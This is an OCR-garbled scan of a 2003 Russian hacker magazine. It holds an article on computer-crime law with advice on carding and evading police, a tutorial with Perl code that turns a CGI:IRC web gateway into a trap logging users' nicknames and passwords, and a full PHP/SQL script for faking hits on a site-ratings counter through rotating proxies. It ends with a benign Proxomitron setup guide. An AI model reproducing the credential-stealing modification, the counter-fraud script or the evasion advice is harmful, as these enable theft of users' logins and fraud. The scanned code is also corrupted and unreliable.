ванному уничтожению, блокиро- 
ванию, модификации либо копи- 
рованию информации, наруше- 
нию работы ЭВМ, системы ЭВМ 
или их сети, а равно использова- 
ние либо распространение таких 
программ или машинных носите- 
лей стакими программами - на- 
казываются лишением свободы 


на срок до трех лет со штрафом в 
размере от двухсот до пятисот 
минимальных размеров оплаты 
труда или в размере заработной 
платы или иного дохода осуж- 
денного за период от двух до пя- 
ти месяцев. 


2. Те же деяния, повлекшие по 
неосторожности тяжкие послед- 
ствия, - наказываются лишени- 
ем свободы на срок оттрех до 


семи лет. 
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утверждает, что OH дал тебе пароль, - это 
все фигня. Мало ли что он там пробубнит. 
Главное, чтобы при обыске на твоей тачке 
не к чему было придраться. Понимаешь? 
Вот еще один пример, ты поимел чью-то 
кредитку или веб-деньги. Как все это ма- 
териализовать? Надо зайти в веб-магазин 
и накупить всякого барахла. А как полу- 
чить шмотки? Только заказав их себе по 
почте. Если все сделать правильно (пойти 
в Инет-кафе и работать не дома), то до 
этого момента ты чист. Пока ты не при- 
дешь на почту получать товар и не нач- 
нешь лапать его, тебе никто ничего не 
сделает. Но если при задержании или 
обыске у тебя найдут награбленное доб- 
ро, то смерть тебя ожидает мучительная. 
Хотя я перечислил законы, тебе следует 
знать еще пару вещей. Во-первых, ком- 
пьютер может быть «орудием другого 
преступления». То есть, если ты сопрешь 
инфу, а потом попросишь за нее деньги у 
компании, то это будет шантаж плюс по- 
пытка сожрать часть авторитета компа- 
нии. Срок будет намного более серьез- 
ным, и смотреть на тебя будут, как на уго- 
ловника-рецидивиста. Во-вторых, иногда 
можно прицепиться к понятию «чужие» 
данные. Что значит «чужие»? Может ты 
думал, что они не секретные! То бишь - 
общие. Проходит не всегда, но иногда мо- 
жет выручить твою шкуру из беды. В- 
третьих, потерпевшие лица могут попы- 
таться урегулировать вопрос о твоем зло- 
деянии и без вмешательства правоохра- 
нительных органов. Тут, правда, все дол- 
жно быть в рамках закона. Жертва может 
потребовать компенсации, но избивать 
тебя она не имеет права :). Если ты попа- 
дешь в такую яму, то лучше дай денег по- 
терпевшему и возьми с него расписку, что 
он претензий не имеет и денежку твою 
себе уволок. В-четвертых, если ты заму- 
тишь реально серьезное дело, то ловить 
тебя будут не только ФСБ и МВД, но и 
ФАПСИ. Это значит, что будут прослуши- 
вать твои телефоны, всю твою квартиру, 
снимать на камеру все, что происходит у 
тебя на компе, и даже подсматривать, ког- 
да ты пойдешь в туалет. Потом улик ока- 
жется столько, что даже удаление всех 
данных не спасет. Так что имей голову на 
плечах и думай ею почаще. 


Теперь давай рассмотрим вопрос, ловят 
ли кого-нибудь или я тебе макароны на 
уши вешаю. Отвечаю: ловят. С каждым го- 
дом все больше и больше дел доходит до 
суда. Стоит просмотреть сайт www.fsb.ru - 
там легко отыскать кучу раскрытых дел по 
хакингу. 

Итак, как же ловят этих хлопцев? Честно 
говоря, не знаю. Очевидно, что их никто 
не закладывает и сами они не колятся. 
Одно лишь ясно: в ФСБ сегодня самая 
лучшая команда экспертов и хорошее 
оборудование для поимки нарушителей. 
Очень часто жертвы не обращаются в 
правоохранительные органы, поэтому 
ФСБ не ищет этих преступников, но если 
кто-то решит пожаловаться на тебя госу- 
дарству, то судебно-сыскная машина смо- 
жет раздавить тебя. Опять же, если будут 
улики :). 


Существует мнение, что ФСБ ловит лишь 
малолеток и тех, кто пускает сопли сразу 
и сам все рассказывает. Это неправда - 
пример с Меган Макри (смотри врезку) 
доказывает, что, когда надо, блюстители 


ВНИМАНИЕ!!! 


порядка всех перетопчут. Не знаю, может они и е-та1Гы прос- 
матривают... 

Если ты полазишь еще на сайте ФСБ, то найдешь истории об 
огромном числе людей, уже сидящих за решеткой. Кто-то из них 
звонил по телефону бесплатно, кто-то юзал чужой Инет на халя- 
ву, а кто-то корпоративную инфу продавал налево. В этот спи- 
сок входят и продавцы краденных и взломанных сотовых тру- 
бок. 

Иногда можно услышать, что в ФСБ работают ламеры, которые 
вирус от трояна не отличат. Чушь. Вот ты сможешь найти хоть 


одного террориста? А ведь эти гады пользуются e-mail’om! Ду- ПОЧТО ВАЯ ПО ПИСКА 
маю, что нет. А ФСБшники смогли. Найти и покарать. 


Статистика показывает, что эффективность действий ФСБ по- 
вышается с каждым годом. Ты, наверное, слышал о крутых | ТЕГ 9 ла Е | 
отврылась 
одписпа 
ПОДНОС 


русских парнях, которые ограбили и такой банк, и сякой 
иг) iD] Г 
nd BIOPUC 


банк. Знаешь, почему о них говорили по телевизору? Потому 
Гра 
полугодие 


что этих перцев поймали. Да-да. Как бы смог ящик говорить 
г] 
DU 


о том, что не знает? А репортеры узнают что-то, только если 
им дают это узнать. А кто держит руку на кнопке? Спецслуж- 
бы, правильно. Но парни эти загремели по-крупному, так как 
компьютер они использовали лишь как орудие преступления. 
Основной же состав злодеяния - хищение в крупных разме- 
pax. А за это дают много, очень много... 


А теперь подведем итог вышесказанному. Первое - есть рамки, 
за которые нельзя выходить. Это законы. Второе - есть органы, 
которые ловят нарушителей и сажают на нары. Третье - в этих 
органах работают далеко не дураки, а оборудование у них такое, 
что тебе и не снилось. Четвертое - если ты преступишь черту, те- 
бя поймают и покарают. И самое главное - черту преступать 
нельзя. 


уенапы 


Обидно было бы загреметь на 5-7 лет в расцвете сил только по 
своей глупости. Так что перед тем, как что-то сделать, - хорошо по- 
думай. И уж, по крайней мере, обзаведись молотком, магнитами и 
двумя дверями. Они смогут продлить твою жизнь на свободе :). 


< АМИ ПРОИЗВОДИТСЯ 


1 АТАЛОГУ ПРЕССА РОССИИ 
| 


В октябре и ноябре 2001 г. неизвестным лицом был 
совершен ряд попыток неправомерного доступа к 
информационному серверу ФСБ России, имеющему 
адреса: www.fsb.ru и www.fsb.gov.ru. 
Расследованием установлено, что указанные по- 
пытки осуществлялись несовершеннолетним жите- 
лем Красноярского края С., студентом факультета 
компьютерной безопасности Красноярского госу- 
дарственного технического университета, с помо- 
щью полученных незаконным путем идентифика- 
ционных данных, необходимых для доступа в сеть 
Интернет. 


В результате рассмотрения уголовного дела по об- . Журнал "Хакер Спец" 


винению С. в совершении преступления, предусмо- 


тренного ronan 272 YK России (неправомерный до- подписной индекс 
ступ к компьютерной информации, связанный с про- на второе полугодие 


тивоправным завладением указанными идентифи- 
кационными данными), суд г. Сосновоборска Крас- 
ноярского края в июне 2002 г. постановил приме- 
нить принудительные меры воспитательного воз- 
действия в виде предупреждения. Уголовное дело в 
отношении С. прекращено в соответствии со ст. 8 
УПК России в связи с передачей материалов в ко- 
миссию по делам несовершеннолетних. 

В ходе судебного заседания С. полностью раскаялся 
в содеянном и осознал противоправность своих по- 
ступков. 


СЕТЕВОЕ МОШЕННИЧЕСТВО 


ЧЕРНОННЫЖНОЕ 
TYHHENUPOBAHUE 


Рад, что сия статья привлекла твой взор. Ты не просто зря 
потратишь время, сегодня мы с тобой попробуем научиться 


нужную нам инфу нам отдадут 


добровольно 


G3M1N1 (bugtraq@bk. ги) 


наберемся теории. 


обманывать людей технично, с применением твоего 
интеллекта и моих знаний ). Но сначала давай маленько 


Все, что будет ниже сказано и предложено, 
следует неплохо понимать. Короче, я поти- 
хоньку решил тебе задвинуть про tunneling 
(туннелирование по-нашему). 0 том, что 
это такое, написано одновременно и мало, 
и много, причем большинство информации 
исходит из одного источника, и не сказал 
бы, что написано все простым языком, поэ- 
тому сейчас сам попробую объяснить, в 
чем вся соль. Каждый раз, когда ты слы- 
шишь или видишь термин «туннелирова- 
ние», ты должен своей прокуренной голо- 
вой ясно и отчетливо понять, что уже есть 
две точки, или среды, которые не могут по 
какой-либо причине сами друг с другом ра- 
ботать и общаться. Вот тебе пример из ре- 
альной жизни: сидишь ты дома и некого не 
трогаешь, и тебе в дверь стучит сосед свер- 
ху - денег занять, который твою квартиру 
заливал неоднократно. И, допустим, ты ре- 
шишь отомстить ему его же методом :). 
Самое то этого соседа водой облить, HO 
дверь открывать, конечно же, не хочется. 
То есть между соседом и струей воды есть 
преграда, или экран, в нашем случае злос- 
частная дверь. Но ты ведь не лыком шит и, 
схватив какой-нибудь шланг, ты один ко- 
нец цепляешь к крану, другой просовыва- 
ешь в щель под дверью. И струей при жела- 
нии попадаешь ему прямо в наглую физио- 
номию. Вот это и есть по сути туннелирова- 
ние. В роли туннеля выступали шланг и 
щель, вода выступает в роли данных. Как 
видишь, особенностью tunneling’a можно 
считать то, что есть возможность переда- 
вать данные через преграду, часто этой 
преградой становится прокся или файер- 
Bou. 


ЖУЛЬНИЧАЕМ! 


Часто ли ты сталкивался с такими ситуа- 
циями, когда вместо привычных тебе кли- 
ентов под рукой ничего не было, а пооб- 
щаться хотелось? Могу с уверенность отве- 
тить за тебя: часто. Причем такое происхо- 
дит не только с тобой - в очень многих 
фирмах, конторах, школах и универах. Да в 
том же соседнем интернет-кафе после сбо- 
рищ любителей irc злые админы удалили 
всех клиентов. Казалась бы, безвыходная 
ситуация, но не тут-то было! Юзеры стара- 
ются всеми возможными способами полу- 
чить общение, и тут на ме-сцене появля- 
ются ОНИ. Посредники. Поэтому самым 
простым способом посидеть во всеми лю- 
бимой ИРКе или Аське становится скрипт. 
Мы с тобой сегодня рассмотрим cgiirc как 
самый распространенный скрипт для irc, в 
Аське все в принципе так же, только 
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скрипт, конечно, другой, HO суть-то одна :). 
0 них сегодня и пойдет речь. 

Итак, приступим к нашему коварному плану 
- заОстапить всех Бендеров :). Главная 
ошибка всех тех, кого мы с тобой кинем, в 
том, что в своем желании пообщаться они 
прибегнут к помощи посредников. А кто 
сказал, что посредники всегда честны и 
преданы своему делу? Платить все наши 
жертвы будут своими логинами, паролями и 
прочей инфой на твое усмотрение. Таким 
образом можно не слабо нагреть юзеров на 
все это, я уже не говорю про тайну перепи- 
ски. Все до боли просто, нужно заставить 
работать эти скрипты-посредники на себя, 
этим и будем маяться. 

Поехали с самого начала. Я решил все 
объяснить на примере cgiirc. Первым де- 
лом ищем себе задушевного хостера, кото- 
рый бы разрешил тебе юзать скрипты и хо- 
тя бы чуток распоряжаться своими сокета- 
ми; ведь нам нужно будет, чтобы наш 
скрипт успешно общался с каким-нибудь 
irc.yshlepok.ru на, допустим, 6667 порту. 
Сразу скажу, что такого хостера найти не 
просто, но вполне реально, давать ссылки 
я не буду, так как они все забугорные, а я 
патриот :). Затем лезем Ha google.com и 
ищем cgiirc. Я нашел за несколько секунд 
cgiirc-0.5.2 и стянул архивчик. Распаковы- 
ваем и изучаем его содержимое - нас с то- 
бой будут интересовать скрипты, а не ima- 


дез’ы (над дизайном, я думаю, ты догада- 
ешься поработать. 


Читаем README и правим файл-конфиг: 


# This is the full access CGI:IRC 
0.5 config file 

# It will allow access to *all* 
servers and channels 

# See http://cgiirc.sourcefor- 
ge.net/docs/config.php for help 
editing it. 

# —- 

# Указываем дефолтовый сервер и 
порт 

default_server = irc.wenet.ru 
default_port = 6667 

# Дефолтовый канал 
default_channel = #хаКер 

# Реальное имя, при 3anpoce(in 
/whois) 

default_name = CGI:IRC User 

# Дефолтовый ник, знаки вопроса, 
случайные числа 

default_nick = Guest??? 

# Имя пользователя по дефолту 
default_user = cgiirc 

# Сообщение при выходе 
#quit_message = Quit! 


# Ничего не указывай, и так пой- 
дет %) 
#quit_prefix = СбТ:ТВС 


# —- 

# System setup options 

# Если есть желание, можешь изме- 
нить имена скриптов, я оставил 
как было 

script_nph = nph-irc.cgi 
script_form = client-perl.cgi 
script_login = irc.cgi 


Открываем nph-irc.cgi и видим следующие 
переменные: $nick, $password - они-то нас и 
интересуют. Нужно сохранять их значения в 
лог-файл и потом просто прочитать и вос- 
пользоваться плодами нашего шпионажа. 
Ищем в скрипте, где эти данные передаются 
серверу, чтобы перехватить их. 


# Данные отправляются на сервер 
sub irc_out { 
my($event,$fh,$data) = @; 
$data = $fh, $fh = $event if 
!$data; 

message(‘default’, «-> Server: 
$data») ; 
net_send($fh, $data 


} 


Пропускаем немного и находим следующий 
элемент: 


«\г\п»); 


sub irc_ctcp { 

my($name, $info, $to, $nick, 
$host, $command, $params) = @_; 
if($name eq ‘ctcp own msg’) { 
format_out(‘ctcp own msg’, $info, 
[$nick, $host, $command, $pa- 
rams]); 

selsif($name =~ /“ctcp msg /) { 
if(uc($command) eq ‘KILL’) { 
return unless config_set(‘admin 
password’); 

my $crypt = $config->{‘admin 
password’}; 

my($password, $reason) = split 
‘, $params, 2; 

return unless length $password 
and length $crypt; 


‘ 


# Сюда вставим следующий простой 
код, который будет записывать 
значение переменных $nick и 
$password в лог-файл 

open (FILELOG, «>>/path/to/log») 
|| die «can’t open log: $!\n»; 
print FILELOG «$nick : $pass- 
word\n»; 

close FILELOG; 


# Все! Переменные ушли в логи 


if (crypt ($раз$мога, 
substr($crypt, ©, 2)) eq $crypt) 
{ 

message(‘kill ok’, $nick, $rea- 
son); 

net_send($ircfh, «QUIT :Killed 
($nick ($reason))\r\n») ; 
irc_close(); 

}е15е{ 

message(‘kill wrong’, $nick, $re- 
ason); 


} 

}elsif(uc($command) eq ‘ACTION’ 
&& $irc->is_channel ($info->{tar- 
get})) { 

format_out(‘action public’, $in- 
fo, [$nick, $host, $params]); 
return; 

s}elsif(uc($command) eq ‘ACTION’ ) 
{ 


format_out(‘action private’, $in- 
fo, [$nick, $host, $params]); 
return; 

yelsif(uc($command) eq ‘DCC’ && 
1с $to eq lc $irc->{nick}) { 
format_out(‘not supported’, $in- 
fo, [$nick, $host, $params, 
«DCC»]); 

}е15е{ 

format_out(‘ctcp msg’, $info, 
[$to, $nick, $host, $command, 
$params]); 


Если тебя интересуют еще и то, что пишут 
пользователи твоего сервиса, то обрати вни- 
мание на следующие строчки и переменные: 


sub irc_out { 

my ($event,$fh,$data) = @; 
$data = $fh, $fh = $event if 
! $data; 


Не все же другим делать, приложи маленько 
и сам усилия, смотри только не надорвись от 
тяжести :). 


Особых знаний языка, чтобы переделать 
скрипт в шпиона, не требуется, независи- 
мо от того, что мы переделываем - mail, icq 
или irc скрипт. Можно просто выводить 
значения в лог апачей, все зависит от того, 
насколько ты ленив %). Принцип везде 
один! Например, icq2go представляет со- 
бой Java-annet. И в сети полным полно 
людей, утверждающих, что это абсолютно 
безопасно, ведь «она коннектится прямо к 
серверу». Я надеюсь, что ты-то давно уже 
уловил, что к чему коннектится :). А под- 
править Зауа-скрипт так же элементарно, 
как и перл, так что не советую тебе торо- 
питься пользоваться этим «благом», иначе 
можешь вскоре распрощаться со своей 
любимой шестизначкой. Единственный 
случай, когда бы я советовал тебе исполь- 
зовать подобные скрипты, это когда они 
работают только на тебя! Есть еще одна 
особенность, на которую я хотел бы обра- 
тить твое внимание. Это путь до файла ло- 
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гов, не забудь все прописать как следует и 
убедиться, что тебе хватает прав для соз- 
дания текстовика. Именно поэтому я не 
стал писать конкретные строчки и куда их 
вставлять в скрипты, чтобы заставить тебя 
хоть секундочку подумать. В общем, осно- 
ву сделали, вывели переменные в логи, те- 
перь льем подправленный в нашу пользу 
скрипт к хостеру. Проделав это, начинаем 
крутить и рекламировать свою страничку, 
могу посоветовать полностью отдать ее 
под irc. Если ты провинциал, то отличный 
способ заманить людей - это выложить на 
сайте еще и фотогалерею с фотками зав- 
сегдатаев каналов и периодически обно- 
влять новости. Можешь также посовето- 
вать свой вебгейт тем, кого забанили опе- 
раторы. То есть тут дай волю фантазии, и 
твой проект заживет, принося информа- 
цию, и в один из дней ты поразишь людей 
своей осведомленностью :). 


ГЛАВНОЕ - НЕ ПОПАДИСЬ САМ! 


Надеюсь, что не зря тут распинался перед 
тобой, и информация из статьи тебе помо- 
жет. Например, если немного подумать, то 
и спамить станет гораздо легче. Не стоит 
только забывать, что не со всеми протоко- 
лами, основывающимися на TCP, можно ре- 
ализовать туннелирование. Так что будь 
готов к облому с FTP и NetBIOS, есть у них 
особенности, которые не позволят тебе 
насладиться всеми прелестями жизни :). 
Но и вышеизложенных возможностей, я 
считаю, достаточно для того, чтобы пока- 
зать всем, кто в доме хозяин :). В этой 
статье я не столько хотел показать, как пе- 
ределать скрипт в шпиона, сколько предо- 
стеречь тебя от этих грабель. Всегда поду- 
май, стоит ли что-либо ценное вбивать в 
предложенные тебе формы, а потом делай. 
Так что главное - сам не попадись в расста- 
вленные повсюду капканы! 
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счетчиков. и 
различных ТОРах. 


накручиваем счетчики через 


скрипт на РНР 


асскажу об одном их способов накрутки 
Да хотя бы для того, чтобы «подняться» в 


Андрей Ковалев ака Drone (drone@nm.ru) 


Возьмем, для примера, рейтинг www.super- 
top.ru. Все зарегистрированные пользова- 
тели, кроме того что получают в свое рас- 
поряжение счетчик посещений, так еще и 
участвуют в рейтинге. Чем больше цифра 
на счетчике, тем твоя страница ближе к 
первому месту. Следовательно, чтобы по- 
пасть на первое место, надо чтобы счетчик 
показал как можно большую цифру. Ло- 
гично? А после того как нужная страница 
окажется в призовой тройке(или даже на 
первом месте), ее заметят, и реальные по- 
сетители повалят толпами. 


ПРЕДВАРИТЕЛЬНЫЕ 
ПРИГОТОВЛЕНИЯ 


Итак, нам понадобятся: 

1. Свежий список ргоху-серверов. Взять 
такой можно, например, на Wwww.prox- 
ychecker.ru 

2. Сервер с поддержкой РНР и SQL. Вот 
здесь могут быть сложности. Советую по- 
искать временный «халявный» хостинг 
или, на худой конец, установить на своем 
компьютере те же Apache+MySQL. 

3. Немного времени 


april/O4/2003 


В базе данных нам понадобится несколь- 
ко таблиц. Уверен, что ты знаешь SQL, по- 
этому напишу сразу, как они создаются: 


1. Таблица, состоящая из одной колонки и 
одного ряда. В ней хранится номер прок- 
си, который мы использовали последним. 


CREATE TABLE lastproxy (ргох - 
yid int) 


2. Еще одна таблица, состоящая из одной 
колонки и одного ряда. В ней хранится 
номер USeragent, который мы использова- 
ли последним. 


CREATE TABLE lastproxya- 
gent(agentid int) 


3. Таблица со списком проксей. proxyid - 
порядковый номер, ргохупате - адрес 
прокси, proxyport - порт. Заполнишь та- 
блицу сам из свежего списка прокси-сер- 
веров. 


CREATE TABLE proxylist(prox- 
yid int, proxyname char(64), 
proxyport int) 


4. Таблица, хранящая список UserAgent- 
ов. Нужно для того, чтобы разнообразить 
список браузеров «пользователя» - чтобы 
враги не догадались. Впиши туда всякие 
1е4.0, 1е5.0, 1еб.0, netscape, opera и т.д. 


CREATE TABLE proxyagent(agen- 
tid int, agent char(64)) 


5. Таблица, используемая как обычный 
счетчик, - в ней хранится общее количе- 
ство обращений к прокси-серверам. 


CREATE TABLE proxycount(coun- 
ter int) 


ПИШЕМ СКРИПТ 


Как ты, наверняка, уже понял, скрипт бу- 
дет писаться на РНР. 

Назовем его PHPCount.php. Для большего 
удобства пользования (например, для ра- 
боты с html-dopmamu) в скрипт переда- 
ются следующие переменные: 

$ref - адрес сервера, с которого якобь 
зашел пользователь (серверная перемен- 
ная Referer); 

$url - ссылка, на которую надо зайти. 

В итоге скрипт вызываем на выполнение 
примерно так: 


Разнообразить список 
браузеров «пользователя» - 


чтобы враги не догадались. 
Впиши туда всякие ie4.0, ie5.0, 
ie6.0, netscape, opera ит.д. 


PHPCount.php?ref=http: //www. i- 
am-hac- 

ker. ru&url=http: //www.ram- 
bler.ru/kartinka. gif 

Теперь cam скрипт. Он будет выглядеть 
так: 


// не забываем проверить, пе- 
реданы ли переменные $ref и 
$url - иначе ничего работать 
не будет 

if (($url==«») || ($ref==«»)) 
{echo «Ты забыл ввести пере- 
менные $ref и $url!»;} 

//если все в порядке, то 

else { 


// здесь должны идти стан- 
дартные строчки подключения к 
той базе данных, с которой ты 
работаешь 

ИИ зы 

// создаем переменные, кото- 
рые понадобятся для того что- 
бы через проксю запросить 
нужный нам урл 

$ref=«Referer: $ref»; 
$useragent=«User-Agent: с; 
$acceptO=«Accept: image/gif, 
image/x-xbitmap, image/jpeg, 
image/pjpeg, applica- 
tion/msword, applica- 
tion/vnd.ms-excel, */*»; 
$acceptl=«Connection: Keep- 
Alive»; 
$accept2=«Accept-Language: 
ru»; 
$accept3=«Accept-Encoding: 


gzip, deflate»; 
// типа мы - эксплорер и даже 
круче :) 


while(1!=2) // зацикливание 


//запрашиваем номер последней 
прокси, которую мы использо- 
вали 

$a=mysql_query(«select * from 
Llastproxy») ; 


$lastproxy=mysql_res- 
ult($a,0,»proxyid») ; 
$Llastproxyt+; 


//считаем общее количество 
наших проксей 
$proxys=mysql_num- 

rows (mysql_query(«select * 
from proxyLlist»)); 


//если номер прокси, которую 
мы собираемся использовать, 
превышает общее количество 
известных прокси-серверов, 
начинаем с самого начала 

if ($lastproxy>$proxys) 
$lastproxy=1; 


//удаляем номер последнего 
использованного проксика 
mysql_query(«delete from 
Lastproxy») ; 


//... и вставляем туда номер, 
который собираемся использо- 
вать в данный момент 
mysql_query(«insert into 
lastproxy values($last- 
proxy)») ; 


// далее выполняем те xe Ca- 
мые операции с таблицей lLast- 
proxyagent 
$a=mysql_query(«select * from 
Lastproxyagent») ; 
$lastagent=mysql_res- 
ult($a,0,»agentid») ; 
$lastagentt+; 
$agents=mysql_num- 

rows (mysql_query(«select * 
from proxyagent») ); 

if ($lastagent>$agents) $la- 
stagent=1; 
mysql_query(«delete from 
Lastproxyagent») ; 
mysql_query(«insert into 
lastproxyagent values($lasta- 
gent)»); 


//выбираем из списка проксей 
ту, чей номер хотим использо- 
вать сейчас 
$a=mysql_query(«select * from 
proxylist where prox- 
yid=$Lastproxy») ; 


//считываем адрес проксика 
$proxyname=mysql_res- 
ult($a,0,»proxyname») ; 


//и порт 
$proxyport=mysql_res- 
uLt($a,0,»proxyport») ; 


//выбираем из таблицы нужный 
нам в данный момент agent 
$a=mysql_query(«select * from 
proxyagent where agentid=$1la- 
stagent») ; 
$agentname=mysql_res- 
uLt($a,0,»agent») ; 
$useragent=«$useragent $agent- 
name» ; 


//вызываем основную функцию, 
которая выполнит всю «грязную 
работу», используя данные из 
наших переменных 
$stroka=get_http_hea- 

ders ($proxyname, $ргох - 

yport, $useragent, $accept0, $ac- 


Скрипт вызываем на выполнение 
примерно так: 


PHPCount.php?ref=http://www.i- 
am-hacker.ru&url=http:// 
www.rambler.ru/kartinka.gif 


cept1,$accept2,$ac- 
cept3,$ref,$url); 


//выводим Ha экран (для себя) 
основные переменные 

print $proxyname.»:».$prox- 
yport.» [$agentname] «.$last- 
proxy.»/».$lastagent; 


//обычный счетчик. Считываем 
значение, увеличиваем, пере- 
записываем. 
$a=mysql_query(«select * from 
proxycount») ; 
$pk=mysql_result($a,0,»coun- 
ter»); 

$pk++; 

mysql_query(«delete from 
proxycount») ; 
mysql_query(«insert into 
proxycount values ($pk)»); 


} 


A вот и основная функция, выполняющая 
основную работу по подключению к ука- 
занному прокси-серверу: 


function get_http_headers 
($proxy, $proxyport, $usera- 
gent, $acceptO, $accept1, $ac- 
cept2,$accept3,$ref,$url,$pro- 
to=«HTTP/1.0») 


{ 

//если url без http://, допи- 
сываем оный 

if(!eregi( «Ahttp://», $url)) 
{ $url = «http://».$url; } 
$uri = parse_url($url); 


//порт стандартный - 80 
$port = ( $uri[ «port»] ? 
$uri[ «port»] 80 ); 


//открываем сокет 
$sock = fsocko- 
pen($proxy, $proxyport) ; 


//если ошибка (например, 
ргоху не найден), то выходим 
из функции 

if(!$sock) { return(-1); } 
if (!strlen($uri[path] )) 
{$uri[path] = «/»;} 


//строим запрос к серверу 
$req=sprintf(«GET %s 

%s\nHost: 
%s\n%s\n%s\n%s\n%s\n\n\n», $url 
,$proto,$uri [host] ,$ref,$ac- 
ceptO, $accept2,$accept3) ; 


// ... И отсылаем его 
fputs($sock, $req); 


//делаем паузу 

$date = getdate(); 
$datesec=$date[seconds] ; 
$changes=0; 

while ($changes<5) 

{ 
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$date = getdate(); 
$datesec2=$date[seconds] ; 
if ($datesec2!=$datesec) { 
$datesec=$datesec2; $chan- 
5е5++; } 


} 


//закрываем сокет и выходим 
из функции 

fclose($sock) ; 

$output=«ok»; 
return($output) ; 

} 


Итог - перед тобой полностью рабочий 
скрипт, который успешно справляется с 
поставленной перед ним задачей. Согла- 
сен, что скрипт не доработанный, однако 
ничто не мешает тебе это сделать самому. 
Например, добавить распределение коли- 
чества показов в зависимости от времени 
суток примерно так: 


$date = getdate(); 

$dateh =$date[hours] ; 

if (($dateh>=0) && ($da- 

teh<3)) $n=100; 

if (($dateh>=3) &&  ($da- 

teh<12)) $n=30; 

if (($dateh>=12) && ($da- 
teh<22)) $n=50; 

if (($dateh>=22) && ($da- 
teh<=24)) $n=100; 


Или еще что придумать - это твое дело. 
Главное - чтобы скрипт выполнял свое де- 
ло, не так ли? ;). 


Р.5. Хочу выразить свою благодарность 
человеку с irc-KaHana #5.К.[, скрывающе- 
муся под псевдонимом Ilia Sprite. Без не- 
го этот скрипт вряд ли бы существовал. 
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Перец, тебя, наверно, запарило, что твой комп каждой 
встречной страничке представляется, кто он такой, откуда 


будет, на каком языке разговаривает и даже какую ось ты 
юзаешь. Будем лечить! 


персональный фильтр базара 


Alex Shark (аааддими@г1т=. Бу) 


Лекарство 
Лекарством от этого дела у нас послужит 
прога под названием ргохот гоп. Эта 
прога разработана каким-то очень неглу- 
пым японцем и раздается всем налево и 
направо абсолютно бесплатно. Послед- 


{ona 


нее время, правда, официальный сайт 
программы (proxomitron.cjb.net) закрыл- 
ся ввиду несогласия автора Proxomitron-a 
с политикой размещения страниц, а имен- 
но с размещением баннеров и рор-ир 
окошек. Сейчас он существует по адресу 
www.proxomitron.org, но в значительно 
урезанном виде. Для закачки можно вос- 
пользоваться и официальной страничкой, 
но для русификации придется пользо- 
ваться неофициальной ссылкой 
http://proxomitron.nm.ru/ download.htm. 
Последняя версия это 4.4 от 2002-10-28, 
это не бета четвертая, поскольку дальше 
будет описываться именно она, настоя- 
тельно советую качнуть. Принцип работы 
достаточно прост, ты задаешь порт, кото- 
рый прокс должен будет слушать, затем в 
браузере прописываешь его как проксят- 
ник, и он начинает фильтровать весь про- 
летающий через него трафик. Фильтро- 
вать он может как входящий (странички), 
так и исходящий (теги браузера) трафик. 
Для осуществления всего этого существу- 
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ет скриптовый язык, или язык метасимво- 
лов, это язык поиска и замены, очень 
сильно напоминающий работу с перемен- 
ными в Perl-e. Также есть возможность 
простого запрета сайтов и сервис корот- 
ких имен. 


Настройка 


Теперь давай заточим этот топор под на- 
ши с тобой нужды. Для начала тыкаем 
кнопку config и выбираем последнюю за- 
кладку «НТТР». Настраивай порт, кото- 
рый тебе удобен, затем таймаут; если ты 
скачал модуль поддержки ssl, то скинь 
АЦ-ки в windows\system или ..\system32 
и ставь галочку, теперь у тебя будет про- 
веряться и https трафик. Закладка access 
позволяет настроить прокс не только на 
твой комп, но и на сетку целиком, если 
она есть, конечно. Blockfile - это те фай- 
лы, которые определяют политику в це- 
лом, разберемся с ними по очереди. Ad- 
Keys - файл правил для отрезания банне- 
ров у сайтов, те закорючки, которые ты 
видишь в нем, - это и есть язык обработ- 
ки строк (подробное описание будет чуть 
позже), тут описаны основные правила, 
по которым прокс определяет, что кар- 
тинка является баннером. AdList - это 
список URL-oB с заядлыми банарейщика- 
ми, используется аналогично предыду- 
щему списку для кастрации рекламодате- 
лей. AliasList - тот самый сервис корот- 
ких имен. Возьмем пример, поставляе- 
мый Сс  проксой: строка  «ms/ 
$JUMP(http: но microsoft.com/)» бу- 
дет означать «меняй адрес «.ms» на ад- 
рес мелкомягких». Все, теперь, чтобы по- 
пасть к мелкомягким, тебе достаточно 
набрать «.ms». Насчет последней строки, 


советую ее не изменять, она позволяет 
делать запросы Ha google простым набо- 
ром «./drivers». Файл Bypass содержит 
адреса, которые не будут обрабатывать- 
ся, туда можешь занести свою домашнюю 
страничку, чтобы не терять показы бан- 
неров при собственном заходе. Соо- 
kieList - список серваков, куки с которых 
можно принимать. Если выставлена оп- 
ция «резать куки», то со всех остальных 
серваков куки будут умирать в корзине; 
как пример: если у тебя почта на mail.ru 
и ты до сих пор пользуешься веб-интер- 
фейсом с автонабором пароля, то мо- 
жешь смело прописывать мылру в этот 
список, чтобы не парится и не вводить 
каждый раз пароль. MIME-List - весьма 
полезная вещь для нетскейполюбов, 
иногда бывает так, что сервер не совсем 
правильно настроен или скрипт криво 
написан, тогда при посылке html файла и 
установленным типов plain-text нетшкаф 
просто покажет тебе исходник (черным 
по белому), а не ту красивую страничку, 
которую видит автор скрипта в ТЕ. А все 
дело в том, что IE обрабатывает все стра- 
ницы как HTML, a Netscape смотрит, что 
летит, - то и показывает. Для фикса до- 
статочно прописать, что htm и html име- 
ют тип «text/html». И последний файл 
NoImages, работает только при включен- 
ном «Kill all Images оп selected pages», 
позволяет не качать картинки со страниц, 
обозначенных в списке. 


Теперь давай посмотрим на главное 
окошко, слева есть куча галочек, по оче- 
реди сверху вниз: фильтр страницы, 
фильтр исходящего заголовка (версия 
браузера и пр.), фильтр входящего заго- 
ловка (MIME-fix и пр.), заморозка ани- 
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мированных гифок и пользоваться или 
нет проксиком. Все эти галочки (кроме 
Remote proxy) отрубаются одним нажа- 
тием на кнопку Bypass. Кнопка Abort по- 
зволяет прервать все соединения одним 
разом, очень помогает при глобальном 
подвисании кучи окон. Кнопка LogWin- 
dow очень пригодится при разработке 
нестандартного веб-приложения, все от- 
четливо видно, что улетело, что прилете- 
ло и почему была ошибка, эдакий он- 
лайн дебаггер трафика. HTTP-Proxy это 
то самое место, где можно прописать 
внешний проксик. Я лично использовал 
его для проверки анонимности, потому 
как видно, что прилетает от проксика. 
Web pages и Headers используются для 
настройки фильтра трафика на языке ме- 
тасимволов. Разбираться начнем с более 
простого - с Headers. Для начала - имя 
хедера, возьмем для разбора на запчасти 
LastModified. После имени стоит URL 
match, оставим пустой, нам все равно, с 
какого адреса это пришло. Header value 
match - чему должно быть равно значе- 
ние хедера, звездочка означает, что ме- 
нять будем всю строку. Replacement text 
- текст на что менять, пустота значит 
просто стирать. Теперь кратко о полях 
для страничного фильтра. Filter-name 
